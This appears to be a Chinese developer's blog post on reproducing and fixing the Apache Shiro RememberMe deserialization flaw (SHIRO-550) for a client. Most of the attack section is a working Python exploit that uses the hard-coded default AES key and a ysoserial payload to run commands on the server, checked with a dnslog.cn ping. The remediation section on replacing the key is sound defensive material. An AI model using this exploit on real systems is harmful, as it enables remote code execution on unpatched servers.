前言
一个阳光明媚的午休,我正惬意的喝着茶听着音乐,享受美好生活的时候,客户的QQ头像闪动了,原以为是出了什么新需求临时需要调整,没想到客户反馈的是平台出现了严重漏洞,不敢小视,抄起电脑开弄
我根据客户给出的安全厂商反馈的问题,总结如下:
1,Shiro反序列化漏洞
2,提到了dnslog.cn平台
了解Shiro反序列化漏洞
参考官方的JIRA文档记录,https://issues.apache.org/jira/browse/SHIRO-550
原因是Shiro的RememberMe出的问题
官方也给出了问题的描述
大概的意思就是:Shiro提供了RememberMe的功能,当用户关闭浏览器,下次再打开浏览器访问时,还是能记住我是谁,无需登录即可访问。其实很多网站都有这功能,继续看,Shiro对RememberMe的Cookie做了加密处理,在CookieRememberMeManaer
类中将Cookie中RememberMe字段内容分别进行序列化、AES加密、Base64编码等操作,但是默认的加密AES Key是硬编码进去的,都知道这个Key是什么,所以在逆向操作反序列化、Base64解密的时候,攻击者就可以伪造恶意数据通过反序列化远程执行命令,危害很大很大滴。
dnslog.cn的作用
经过查询,这个网站是一个用来检测带外流量的监控平台,如DNS查询和HTTP请求。它可以帮助安全研究人员在测试漏洞时收集信息(例如SSRF / XXE / RFI / RCE)。简单说,我自己的理解是一个安全人员的工具,收集一些测试过程中DNS查询、NS查询的日志信息,这里我们用来远程执行命令,比如ping XXX.dnslog.cn,然后再去dnslog.cn看看是否是通过服务ping到了他,如果有,证明远程执行了命令
漏洞模拟利用
大概知道了漏洞的原因和利用方式,接下来找到shiro的项目进行模拟攻击,攻击的过程大概就是:
- 启动存在Shiro问题的项目工程,网上有现成的
- 利用网上写好的Exp工具,漏洞从服务端执行ping命令,ping dnslog地址,看看其是否能收集到信息
搭建Shiro环境
下载有问题的Shiro项目,有人已经做好了,是一个docker image,https://github.com/Medicean/VulApps/tree/master/s/shiro/1,搭建完docker环境之后,由于需要解决问题,为了方便我把war拷贝到我本地机器,通过Tomcat运行。
准备测试工具
网上有很多写的现成的利用工具,基本都是Python的,我的环境是win10,已经有python3环境了,没有的自行安装一下,首先安装第三方库:
pip install requests
pip install Crypto
安装完了Crypto之后也会报错,找不到模块,上网搜了一下发现这个库停更了挺长时间了,改用pycryptodome,
pip install pycryptodome
库安装好之后,在晚上找一个EXP工具的代码,代码如下:
-
import os
-
import re
-
import base64
-
import uuid
-
import subprocess
-
import requests
-
from Crypto.Cipher
import AES
-
-
-
-
JAR_FILE =
'ysoserial.jar'
-
-
-
def poc(url, rce_command):
-
if
'://'
not
in url:
-
target =
'https://%s' % url
if
':443'
in url
else
'http://%s' % url
-
else:
-
target = url
-
try:
-
payload = generator(rce_command, JAR_FILE)
# 生成payload
-
print (payload)
-
r = requests.get(target, cookies={
'rememberMe': payload.decode()}, timeout=
10)
# 发送验证请求
-
print (r.text)
-
except Exception:
-
pass
-
return
False
-
-
-
def generator(command, fp):
-
if
not os.path.exists(fp):
-
raise Exception(
'jar file not found!')
-
popen = subprocess.Popen([
'java',
'-jar', fp,
'CommonsCollections2', command],stdout=subprocess.PIPE)
-
BS = AES.block_size
-
pad =
lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
-
key =
"kPH+bIxk5D2deZiIxcaaaA=="
-
mode = AES.MODE_CBC
-
iv = uuid.uuid4().bytes
-
encryptor = AES.new(base64.b64decode(key), mode, iv)
-
file_body = pad(popen.stdout.read())
-
base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))
-
return base64_ciphertext
-
-
-
if __name__ ==
'__main__':
-
poc(
'http://localhost:8080',
'ping d0nenv.dnslog.cn')
以上代码,需要知道几个问题
- DES key的值,这就是上面所说硬编码的值,需要跟Shiro jar包里的Key对应好
- 执行jar命令的参数CommonsCollections2,此时我们Shiro中的Common-Collections的版本是4.0,对应使用CommonsCollections2的参数
- 还有就是代码最下方,Shiro项目的访问地址,和后面执行的命令,ping dnslog的命令。
然后打开dnslog.cn,如下操作,点击Get SubDomain,对应写好上面的ping命令,一会要用到。
然后在VSCode里新建python文件,复制上面的代码,然后把代码里用到的jar包下载下来,重命名放到跟python代码同一级目录中
-
git clone https:
//github.com/frohoff/ysoserial.git
-
cd ysoserial
-
mvn
package -DskipTests
模拟测试
启动Shiro的工程,访问地址http://localhost:8080,此时代码是有问题的,运行EXP工具测试,刷新dnslog
如上图,命令已经执行了(有一条查询结果),说明漏洞确实存在的。
修复漏洞问题
上述问题,其实只要解决了硬编码的DES Key值就可以了,找了一下网上说的解决办法,总结如下几种:
1,升级shiro,我这边情况项目比较老,升级依赖导致的问题解决起来比较麻烦,不采用此种方式
2,修改Key的编码,修改Shiro源代码AbstractRememberMeManager中的Key值,然后替换到jar包里,不公开
生成新的Key编码,可以用下面的方法:
-
import org.apache.shiro.codec.Base64;
-
-
import javax.crypto.KeyGenerator;
-
import javax.crypto.SecretKey;
-
import java.security.NoSuchAlgorithmException;
-
-
public
class Test {
-
public static void main(String[] args) {
-
KeyGenerator keygen =
null;
-
try {
-
keygen = KeyGenerator.getInstance(
"AES");
-
}
catch (NoSuchAlgorithmException e) {
-
e.printStackTrace();
-
}
-
SecretKey deskey = keygen.generateKey();
-
System.out.println(Base64.encodeToString(deskey.getEncoded()));
-
}
-
}
3,生成随机编码,在Shiro配置文件中把SecurityManage加入rememberMeManager的配置,然后调用生成Key值得方法,随机生成,可参考文章(https://blog.csdn.net/weixin_38307489/article/details/104618667)的做法,建议才采用这种。
我采用的是方法2,这里说一下具体的做法,首先下载Shiro的源代码,根据你用的版本来下载:
-
git
clone https:
//github.com/apache/shiro.git
-
git checkout shiro-root
-1.2
.4
下载后,找到源代码地址在core目录下找到AbstractRememberMeManager,用上面的代码main方法直接生成新的值,修改为新值,如下图
改完之后,找到Shiro源码的POM文件,执行mvn package -DskipTests打包,找到打好的class文件,替换到程序目录下的lib文件中。
然后启动服务,测试一下,问题解决 ~~
遇到的问题
1, Maven build shiro jar包的时候,报了一个toolchain的问题,原因是我的Maven安装目录下,conf/toolchains.xml里没有配置,但是POM文件用到了,根据情况可以修改成:
-
<toolchain>
-
<type>jdk
</type>
-
<provides>
-
<version>1.6
</version>
-
<vendor>sun
</vendor>
-
</provides>
-
<configuration>
-
<jdkHome>C:\\Program Files\\Java\\jdk1.6.0_45
</jdkHome>
-
</configuration>
-
</toolchain>
2,关于Payload的概念
维基百科释义
-
在计算机科学与电信领域,负载(英语:Payload)是数据传输中所欲传输的实际信息,通常也被称作实际数据或者数据体。
-
信头与元数据,或称为开销数据,仅用于辅助数据传输。
-
在计算机病毒或电脑蠕虫领域中,负载指的是进行有害操作的部分,例如:数据销毁、发送垃圾邮件等。
简单说,Payload就是对于接收者有用的数据。
参考资料:
https://blog.csdn.net/weixin_38307489/article/details/104618667
https://paper.seebug.org/shiro-rememberme-1-2-4/
https://issues.apache.org/jira/browse/SHIRO-550
转载:https://blog.csdn.net/Dothwinds/article/details/105244830